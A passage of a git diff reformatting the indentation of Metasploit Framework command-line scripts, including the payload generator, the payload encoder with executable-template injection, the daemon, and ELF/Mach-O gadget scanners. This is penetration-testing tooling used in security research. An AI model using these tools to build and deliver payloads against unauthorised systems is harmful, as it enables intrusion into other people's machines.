- opts.parse!(args) - rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit - end + begin + opts.parse!(args) + rescue OptionParser::InvalidOption + puts "Invalid option, try -h for usage" + exit + end - options - end + options + end end options = OptsConsole.parse(ARGV) @@ -161,15 +161,15 @@ require 'msf/ui' # if (options['Version']) - $stderr.puts 'Framework Version: ' + Msf::Framework::Version - exit + $stderr.puts 'Framework Version: ' + Msf::Framework::Version + exit end begin - Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - options - ).run + Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + options + ).run rescue Interrupt end diff --git a/msfd b/msfd index 411a134b04..1852435cab 100755 --- a/msfd +++ b/msfd @@ -13,7 +13,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -29,52 +29,52 @@ require 'msf/ui' # Declare the argument parser for msfd arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Bind to this IP address instead of loopback" ], - "-p" => [ true, "Bind to this port instead of 55554" ], - "-s" => [ false, "Use SSL" ], - "-f" => [ false, "Run the daemon in the foreground" ], - "-A" => [ true, "Specify list of hosts allowed to connect" ], - "-D" => [ true, "Specify list of hosts not allowed to connect" ], - "-h" => [ false, "Help banner" ]) + "-a" => [ true, "Bind to this IP address instead of loopback" ], + "-p" => [ true, "Bind to this port instead of 55554" ], + "-s" => [ false, "Use SSL" ], + "-f" => [ false, "Run the daemon in the foreground" ], + "-A" => [ true, "Specify list of hosts allowed to connect" ], + "-D" => [ true, "Specify list of hosts not allowed to connect" ], + "-h" => [ false, "Help banner" ]) opts = { 'RunInForeground' => true } foreground = false # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-p" - opts['ServerPort'] = val - when "-f" - foreground = true - when "-s" - opts['SSL'] = true - when "-A" - begin - opts['HostsAllowed'] = val.split(',').map { |a| - Rex::Socket.resolv_nbo(a) - } - rescue - $stderr.puts "Bad argument for -A: #{$!}" - exit - end - when "-D" - begin - opts['HostsDenied'] = val.split(',').map { |a| - Rex::Socket.resolv_nbo(a) - } - rescue - $stderr.puts "Bad argument for -D: #{$!}" - exit - end - when "-h" - print( - "\nUsage: #{File.basename(__FILE__)} <options>\n" + - arguments.usage) - exit - end + case opt + when "-a" + opts['ServerHost'] = val + when "-p" + opts['ServerPort'] = val + when "-f" + foreground = true + when "-s" + opts['SSL'] = true + when "-A" + begin + opts['HostsAllowed'] = val.split(',').map { |a| + Rex::Socket.resolv_nbo(a) + } + rescue + $stderr.puts "Bad argument for -A: #{$!}" + exit + end + when "-D" + begin + opts['HostsDenied'] = val.split(',').map { |a| + Rex::Socket.resolv_nbo(a) + } + rescue + $stderr.puts "Bad argument for -D: #{$!}" + exit + end + when "-h" + print( + "\nUsage: #{File.basename(__FILE__)} <options>\n" + + arguments.usage) + exit + end } $stderr.puts "[*] Initializing msfd..." @@ -84,11 +84,11 @@ $stderr.puts "[*] Running msfd..." # Fork into the background if requested begin - if (not foreground) - exit(0) if Process.fork() - end + if (not foreground) + exit(0) if Process.fork() + end rescue ::NotImplementedError - $stderr.puts "[-] Background mode is not available on this platform" + $stderr.puts "[-] Background mode is not available on this platform" end # Create an instance of the framework diff --git a/msfelfscan b/msfelfscan index b4714307bb..fcbe9eeb35 100755 --- a/msfelfscan +++ b/msfelfscan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -24,7 +24,7 @@ require 'rex/arch/x86' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opt = OptionParser.new @@ -37,96 +37,96 @@ worker = nil param = {} opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::ElfScan::Scanner::JmpRegScanner - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + worker = Rex::ElfScan::Scanner::JmpRegScanner + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::ElfScan::Scanner::PopPopRetScanner - param['args'] = t + worker = Rex::ElfScan::Scanner::PopPopRetScanner + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::ElfScan::Scanner::RegexScanner - param['args'] = t + worker = Rex::ElfScan::Scanner::RegexScanner + param['args'] = t end opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address') do |t| - worker = Rex::ElfScan::Search::DumpRVA - param['args'] = opt2i(t) + worker = Rex::ElfScan::Search::DumpRVA + param['args'] = opt2i(t) end opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset') do |t| - worker = Rex::ElfScan::Search::DumpOffset - param['args'] = opt2i(t) + worker = Rex::ElfScan::Search::DumpOffset + param['args'] = opt2i(t) end opt.separator('') opt.separator('Options:') opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if (! worker) - puts opt - exit(1) + puts opt + exit(1) end ARGV.each do |file| - param['file'] = file + param['file'] = file - begin - elf = Rex::ElfParsey::Elf.new_from_file(file, true) - rescue Rex::ElfParsey::ElfHeaderError - if $!.message == 'Invalid magic number' - $stderr.puts("Skipping #{file}: #{$!}") - next - end - raise $! - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end + begin + elf = Rex::ElfParsey::Elf.new_from_file(file, true) + rescue Rex::ElfParsey::ElfHeaderError + if $!.message == 'Invalid magic number' + $stderr.puts("Skipping #{file}: #{$!}") + next + end + raise $! + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end - if (param['imagebase']) - elf.base_addr = param['imagebase']; - end + if (param['imagebase']) + elf.base_addr = param['imagebase']; + end - o = worker.new(elf) - o.scan(param) + o = worker.new(elf) + o.scan(param) - elf.close + elf.close end diff --git a/msfencode b/msfencode index a147a1209a..33d6fc8e10 100755 --- a/msfencode +++ b/msfencode @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -29,89 +29,89 @@ OutError = "[-] " supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats $args = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-l" => [ false, "List available encoders" ], - "-v" => [ false, "Increase verbosity" ], - # input/output - "-i" => [ true, "Encode the contents of the supplied file path" ], - "-m" => [ true, "Specifies an additional module search path" ], - "-o" => [ true, "The output file" ], - # architecture/platform - "-a" => [ true, "The architecture to encode as" ], - "-p" => [ true, "The platform to encode for" ], - # format options - "-t" => [ true, "The output format: #{supported_formats.join(',')}" ], - # encoder options - "-e" => [ true, "The encoder to use" ], - "-n" => [ false, "Dump encoder information" ], - "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], - "-s" => [ true, "The maximum size of the encoded data" ], - "-c" => [ true, "The number of times to encode the data" ], - # EXE generation options - "-d" => [ true, "Specify the directory in which to look for EXE templates" ], - "-x" => [ true, "Specify an alternate executable template" ], - "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ] + "-h" => [ false, "Help banner" ], + "-l" => [ false, "List available encoders" ], + "-v" => [ false, "Increase verbosity" ], + # input/output + "-i" => [ true, "Encode the contents of the supplied file path" ], + "-m" => [ true, "Specifies an additional module search path" ], + "-o" => [ true, "The output file" ], + # architecture/platform + "-a" => [ true, "The architecture to encode as" ], + "-p" => [ true, "The platform to encode for" ], + # format options + "-t" => [ true, "The output format: #{supported_formats.join(',')}" ], + # encoder options + "-e" => [ true, "The encoder to use" ], + "-n" => [ false, "Dump encoder information" ], + "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], + "-s" => [ true, "The maximum size of the encoded data" ], + "-c" => [ true, "The number of times to encode the data" ], + # EXE generation options + "-d" => [ true, "Specify the directory in which to look for EXE templates" ], + "-x" => [ true, "Specify an alternate executable template" ], + "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ] ) # # Dump the list of encoders # def dump_encoders(arch = nil) - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : ""), - 'Columns' => - [ - "Name", - "Rank", - "Description" - ]) - cnt = 0 + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : ""), + 'Columns' => + [ + "Name", + "Rank", + "Description" + ]) + cnt = 0 - $framework.encoders.each_module( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - tbl << [ name, mod.rank_to_s, mod.new.name ] + $framework.encoders.each_module( + 'Arch' => arch ? arch.split(',') : nil) { |name, mod| + tbl << [ name, mod.rank_to_s, mod.new.name ] - cnt += 1 - } + cnt += 1 + } - (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n" + (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n" end # # Returns the list of encoders to try # def get_encoders(arch, encoder) - encoders = [] + encoders = [] - if (encoder) - encoders << $framework.encoders.create(encoder) - else - $framework.encoders.each_module_ranked( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - encoders << mod.new - } - end + if (encoder) + encoders << $framework.encoders.create(encoder) + else + $framework.encoders.each_module_ranked( + 'Arch' => arch ? arch.split(',') : nil) { |name, mod| + encoders << mod.new + } + end - encoders + encoders end # # Nuff said. # def usage - $stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage) - exit + $stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage) + exit end def write_encoded(buf) - if (not $output) - $stdout.write(buf) - else - File.open($output, "wb") do |fd| - fd.write(buf) - end - end + if (not $output) + $stdout.write(buf) + else + File.open($output, "wb") do |fd| + fd.write(buf) + end + end end # Defaults @@ -135,84 +135,84 @@ exedir = nil # use default # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| - case opt - when "-i" - begin - input = File.open(val, 'rb') - rescue - $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") - exit - end - when "-m" - $framework.modules.add_module_path(val) - when "-l" - cmd = "list" - when "-n" - cmd = "dump" - when "-a" - arch = val - when "-c" - ecount = val.to_i - when "-b" - badchars = Rex::Text.hex_to_raw(val) - when "-p" - plat = Msf::Module::PlatformList.transform(val) - when "-s" - space = val.to_i - when "-t" - if supported_formats.include?(val) - fmt = val - else - $stderr.puts(OutError + "Invalid format: #{val}") - exit - end - when "-o" - $output = val - when "-e" - encoder = val + case opt + when "-i" + begin + input = File.open(val, 'rb') + rescue + $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") + exit + end + when "-m" + $framework.modules.add_module_path(val) + when "-l" + cmd = "list" + when "-n" + cmd = "dump" + when "-a" + arch = val + when "-c" + ecount = val.to_i + when "-b" + badchars = Rex::Text.hex_to_raw(val) + when "-p" + plat = Msf::Module::PlatformList.transform(val) + when "-s" + space = val.to_i + when "-t" + if supported_formats.include?(val) + fmt = val + else + $stderr.puts(OutError + "Invalid format: #{val}") + exit + end + when "-o" + $output = val + when "-e" + encoder = val - when "-d" - exedir = val - when "-x" - altexe = val - when "-k" - inject = true + when "-d" + exedir = val + when "-x" + altexe = val + when "-k" + inject = true - when "-h" - usage + when "-h" + usage - when "-v" - verbose += 1 + when "-v" + verbose += 1 - else - if (val =~ /=/) - options += ((options.length > 0) ? delim : "") + "#{val}" - end - end + else + if (val =~ /=/) + options += ((options.length > 0) ? delim : "") + "#{val}" + end + end } if(not fmt and output) - pre,ext = output.split('.') - if(ext and not ext.empty?) - fmt = ext - end + pre,ext = output.split('.') + if(ext and not ext.empty?) + fmt = ext + end end if inject and not altexe - $stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies." - exit(1) + $stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies." + exit(1) end exeopts = { - :inject => inject, - :template => altexe, - :template_path => exedir + :inject => inject, + :template => altexe, + :template_path => exedir } # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ], - 'DisableDatabase' => true + :module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ], + 'DisableDatabase' => true ) # Get the list of encoders to try @@ -220,81 +220,81 @@ encoders = get_encoders(arch, encoder) # Process the actual command case cmd - when "list" - $stderr.puts(dump_encoders(arch)) - when "dump" - enc = encoder ? $framework.encoders.create(encoder) : nil + when "list" + $stderr.puts(dump_encoders(arch)) + when "dump" + enc = encoder ? $framework.encoders.create(encoder) : nil - if (enc) - $stderr.puts(Msf::Serializer::ReadableText.dump_module(enc)) - else - $stderr.puts(OutError + "Invalid encoder specified.") - end - when "encode" - input.binmode # ensure its in binary mode - buf = input.read + if (enc) + $stderr.puts(Msf::Serializer::ReadableText.dump_module(enc)) + else + $stderr.puts(OutError + "Invalid encoder specified.") + end + when "encode" + input.binmode # ensure its in binary mode + buf = input.read - encoders.each { |enc| - next if not enc - begin - # Imports options - enc.datastore.import_options_from_s(options, delim) + encoders.each { |enc| + next if not enc + begin + # Imports options + enc.datastore.import_options_from_s(options, delim) - skip = false - eout = buf.dup - raw = nil + skip = false + eout = buf.dup + raw = nil - 1.upto(ecount) do |iteration| + 1.upto(ecount) do |iteration| - # Encode it up - raw = enc.encode(eout, badchars, nil, plat) + # Encode it up + raw = enc.encode(eout, badchars, nil, plat) - # Is it too big? - if (space and space > 0 and raw.length > space) - $stderr.puts(OutError + "#{enc.refname} created buffer that is too big (#{raw.length})") - skip = true - break - end + # Is it too big? + if (space and space > 0 and raw.length > space) + $stderr.puts(OutError + "#{enc.refname} created buffer that is too big (#{raw.length})") + skip = true + break + end - # Print it out - $stderr.puts(OutStatus + "#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n\n") - eout = raw - end + # Print it out + $stderr.puts(OutStatus + "#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n\n") + eout = raw + end - next if skip + next if skip - output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts) + output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts) - if not output - fmt ||= "ruby" - output = Msf::Simple::Buffer.transform(raw, fmt) - end + if not output + fmt ||= "ruby" + output = Msf::Simple::Buffer.transform(raw, fmt) + end - if exeopts[:fellback] - $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") - end + if exeopts[:fellback] + $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") + end - write_encoded(output) + write_encoded(output) - exit + exit - # - # These exception codes are fatal, we shouldn't expect them to succeed on the next - # iteration, nor the next encoder. - # - rescue ::Errno::ENOENT, ::Errno::EINVAL - $stderr.puts(OutError + "#{enc.refname} failed: #{$!}") - break + # + # These exception codes are fatal, we shouldn't expect them to succeed on the next + # iteration, nor the next encoder. + # + rescue ::Errno::ENOENT, ::Errno::EINVAL + $stderr.puts(OutError + "#{enc.refname} failed: #{$!}") + break - rescue => e - $stderr.puts(OutError + "#{enc.refname} failed: #{e}") - if verbose > 0 - e.backtrace.each { |el| - $stderr.puts(OutError + el.to_s) - } - end - end - } + rescue => e + $stderr.puts(OutError + "#{enc.refname} failed: #{e}") + if verbose > 0 + e.backtrace.each { |el| + $stderr.puts(OutError + el.to_s) + } + end + end + } - $stderr.puts(OutError + "No encoders succeeded.") + $stderr.puts(OutError + "No encoders succeeded.") end diff --git a/msfmachscan b/msfmachscan index b3b7701f43..9669982207 100755 --- a/msfmachscan +++ b/msfmachscan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -25,7 +25,7 @@ require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opt = OptionParser.new @@ -38,80 +38,80 @@ worker = nil param = {} opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::MachScan::Scanner::JmpRegScanner - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + worker = Rex::MachScan::Scanner::JmpRegScanner + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::MachScan::Scanner::PopPopRetScanner - param['args'] = t + worker = Rex::MachScan::Scanner::PopPopRetScanner + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::MachScan::Scanner::RegexScanner - param['args'] = t + worker = Rex::MachScan::Scanner::RegexScanner + param['args'] = t end opt.separator('') opt.separator('Options:') opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if (! worker) - puts opt - exit(1) + puts opt + exit(1) end ARGV.each do |file| - param['file'] = file + param['file'] = file - begin - mach = Rex::MachParsey::Mach.new_from_file(file, true) - o = worker.new(mach) - o.scan(param) - mach.close - rescue Rex::MachParsey::MachHeaderError - $stderr.puts("File is not a Mach-O binary, trying Fat..\n") - fat = Rex::MachParsey::Fat.new_from_file(file, true) - o = worker.new(fat) - o.scan(param) - fat.close - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end + begin + mach = Rex::MachParsey::Mach.new_from_file(file, true) + o = worker.new(mach) + o.scan(param) + mach.close + rescue Rex::MachParsey::MachHeaderError + $stderr.puts("File is not a Mach-O binary, trying Fat..\n") + fat = Rex::MachParsey::Fat.new_from_file(file, true) + o = worker.new(fat) + o.scan(param) + fat.close + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end end diff --git a/msfpayload b/msfpayload index 7dfb20caee..62e41e01e3 100755 --- a/msfpayload +++ b/msfpayload @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -21,18 +21,18 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' $args = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-l" => [ false, "List available payloads" ] + "-h" => [ false, "Help banner" ], + "-l" => [ false, "List available payloads" ] ) # # Nuff said. # def usage - $stderr.puts("\n" + - " Usage: #{$0} [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>\n" + - $args.usage) - exit + $stderr.puts("\n" + + " Usage: #{$0} [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>\n" + + $args.usage) + exit end cmd = nil @@ -40,22 +40,22 @@ rest = [] # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| - #puts "opt[%d]: #{opt.inspect} / #{val.inspect}" % idx + #puts "opt[%d]: #{opt.inspect} / #{val.inspect}" % idx - case opt - when "-l" - cmd = "list" - break + case opt + when "-l" + cmd = "list" + break - # Non-option (don't begin with '-') are processed here - when nil - rest << val + # Non-option (don't begin with '-') are processed here + when nil + rest << val - end + end } if (cmd != "list" and rest.length < 2) - usage + usage end require 'msf/ui' @@ -65,31 +65,31 @@ require 'msf/base' # Dump the list of payloads # def dump_payloads - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Payloads (#{$framework.stats.num_payloads} total)", - 'Columns' => - [ - "Name", - "Description" - ]) + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Header' => "Framework Payloads (#{$framework.stats.num_payloads} total)", + 'Columns' => + [ + "Name", + "Description" + ]) - $framework.payloads.each_module { |name, mod| - tbl << [ name, mod.new.description ] - } + $framework.payloads.each_module { |name, mod| + tbl << [ name, mod.new.description ] + } - "\n" + tbl.to_s + "\n" + "\n" + tbl.to_s + "\n" end # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], - 'DisableDatabase' => true + :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], + 'DisableDatabase' => true ) if cmd == "list" - puts dump_payloads - exit + puts dump_payloads + exit end @@ -103,8 +103,8 @@ Msf::Ui::Common.process_cli_arguments($framework, rest) payload = $framework.payloads.create(payload_name) if (payload == nil) - $stderr.puts "Invalid payload: #{payload_name}" - exit + $stderr.puts "Invalid payload: #{payload_name}" + exit end # Evalulate the command @@ -113,130 +113,130 @@ cmd = rest.pop.downcase # Populate the framework datastore options = {} rest.each do |x| - k,v = x.split("=", 2) - options[k] = v.to_s + k,v = x.split("=", 2) + options[k] = v.to_s end payload.datastore.merge! options if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) - fmt = 'perl' if (cmd =~ /^p$/) - fmt = 'ruby' if (cmd =~ /^y$/) - fmt = 'raw' if (cmd =~ /^(r|x|d)$/) - fmt = 'raw' if (cmd =~ /^v$/) - fmt = 'c' if (cmd =~ /^c$/) - fmt = 'csharp' if (cmd =~ /^h$/) - fmt = 'js_be' if (cmd =~ /^j$/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG) - fmt = 'js_le' if (cmd =~ /^j$/ and ! fmt) - fmt = 'java' if (cmd =~ /^b$/) - fmt = 'raw' if (cmd =~ /^w$/) - fmt = 'python' if (cmd =~ /^n$/) - enc = options['ENCODER'] + fmt = 'perl' if (cmd =~ /^p$/) + fmt = 'ruby' if (cmd =~ /^y$/) + fmt = 'raw' if (cmd =~ /^(r|x|d)$/) + fmt = 'raw' if (cmd =~ /^v$/) + fmt = 'c' if (cmd =~ /^c$/) + fmt = 'csharp' if (cmd =~ /^h$/) + fmt = 'js_be' if (cmd =~ /^j$/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG) + fmt = 'js_le' if (cmd =~ /^j$/ and ! fmt) + fmt = 'java' if (cmd =~ /^b$/) + fmt = 'raw' if (cmd =~ /^w$/) + fmt = 'python' if (cmd =~ /^n$/) + enc = options['ENCODER'] - begin - buf = payload.generate_simple( - 'Format' => fmt, - 'Options' => options, - 'Encoder' => enc) - rescue - $stderr.puts "Error generating payload: #{$!}" - exit - end + begin + buf = payload.generate_simple( + 'Format' => fmt, + 'Options' => options, + 'Encoder' => enc) + rescue + $stderr.puts "Error generating payload: #{$!}" + exit + end - $stdout.binmode + $stdout.binmode - if (cmd =~ /^x$/) - note = - "Created by msfpayload (http://www.metasploit.com).\n" + - "Payload: " + payload.refname + "\n" + - " Length: " + buf.length.to_s + "\n" + - "Options: " + options.inspect + "\n" + if (cmd =~ /^x$/) + note = + "Created by msfpayload (http://www.metasploit.com).\n" + + "Payload: " + payload.refname + "\n" + + " Length: " + buf.length.to_s + "\n" + + "Options: " + options.inspect + "\n" - arch = payload.arch - plat = payload.platform.platforms + arch = payload.arch + plat = payload.platform.platforms - exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) + exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - if(!exe and plat.index(Msf::Module::Platform::Java)) - exe = payload.generate_jar.pack - end + if(!exe and plat.index(Msf::Module::Platform::Java)) + exe = payload.generate_jar.pack + end - if(exe) - $stderr.puts(note) - $stdout.write(exe) - exit(0) - end + if(exe) + $stderr.puts(note) + $stdout.write(exe) + exit(0) + end - $stderr.puts "No executable format support for this arch/platform" - exit(-1) - end + $stderr.puts "No executable format support for this arch/platform" + exit(-1) + end - if(cmd =~ /^v$/) - exe = Msf::Util::EXE.to_win32pe($framework, buf) - note = - "'Created by msfpayload (http://www.metasploit.com).\r\n" + - "'Payload: " + payload.refname + "\r\n" + - "' Length: " + buf.length.to_s + "\r\n" + - "'Options: " + options.inspect + "\r\n" + if(cmd =~ /^v$/) + exe = Msf::Util::EXE.to_win32pe($framework, buf) + note = + "'Created by msfpayload (http://www.metasploit.com).\r\n" + + "'Payload: " + payload.refname + "\r\n" + + "' Length: " + buf.length.to_s + "\r\n" + + "'Options: " + options.inspect + "\r\n" - vba = note + "\r\n" + Msf::Util::EXE.to_exe_vba(exe) - $stdout.write(vba) - exit(0) - end + vba = note + "\r\n" + Msf::Util::EXE.to_exe_vba(exe) + $stdout.write(vba) + exit(0) + end - if(cmd =~ /^d$/) - dll = Msf::Util::EXE.to_win32pe_dll($framework, buf) - note = - "Created by msfpayload (http://www.metasploit.com).\r\n" + - "Payload: " + payload.refname + "\r\n" + - " Length: " + buf.length.to_s + "\r\n" + - "Options: " + options.inspect + "\r\n" + if(cmd =~ /^d$/) + dll = Msf::Util::EXE.to_win32pe_dll($framework, buf) + note = + "Created by msfpayload (http://www.metasploit.com).\r\n" + + "Payload: " + payload.refname + "\r\n" + + " Length: " + buf.length.to_s + "\r\n" + + "Options: " + options.inspect + "\r\n" - if(dll) - $stderr.puts(note) - $stdout.write(dll) - exit(0) - end + if(dll) + $stderr.puts(note) + $stdout.write(dll) + exit(0) + end - $stderr.puts "Failed to build dll" - exit(-1) - end + $stderr.puts "Failed to build dll" + exit(-1) + end - if(cmd =~ /^w$/) - note = - "Created by msfpayload (http://www.metasploit.com).\n" + - "Payload: " + payload.refname + "\n" + - " Length: " + buf.length.to_s + "\n" + - "Options: " + options.inspect + "\n" + if(cmd =~ /^w$/) + note = + "Created by msfpayload (http://www.metasploit.com).\n" + + "Payload: " + payload.refname + "\n" + + " Length: " + buf.length.to_s + "\n" + + "Options: " + options.inspect + "\n" - arch = payload.arch - plat = payload.platform.platforms + arch = payload.arch + plat = payload.platform.platforms - exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - if(!exe and plat.index(Msf::Module::Platform::Java)) - exe = payload.generate_war.pack - else - exe = Msf::Util::EXE.to_jsp_war(exe) - end + exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) + if(!exe and plat.index(Msf::Module::Platform::Java)) + exe = payload.generate_war.pack + else + exe = Msf::Util::EXE.to_jsp_war(exe) + end - if(exe) - $stderr.puts(note) - $stdout.write(exe) - exit(0) - end + if(exe) + $stderr.puts(note) + $stdout.write(exe) + exit(0) + end - $stderr.puts "No executable format support for this arch/platform" - exit(-1) - end + $stderr.puts "No executable format support for this arch/platform" + exit(-1) + end - $stdout.write(buf) + $stdout.write(buf) elsif (cmd =~ /^(s|o)$/) - payload.datastore.import_options_from_s(rest.join('_|_'), '_|_') - puts Msf::Serializer::ReadableText.dump_module(payload) + payload.datastore.import_options_from_s(rest.join('_|_'), '_|_') + puts Msf::Serializer::ReadableText.dump_module(payload) else - $stderr.puts "Invalid command: #{cmd.inspect}" + $stderr.puts "Invalid command: #{cmd.inspect}" end diff --git a/msfpescan b/msfpescan index 33ce327765..4c73c55e17 100755 --- 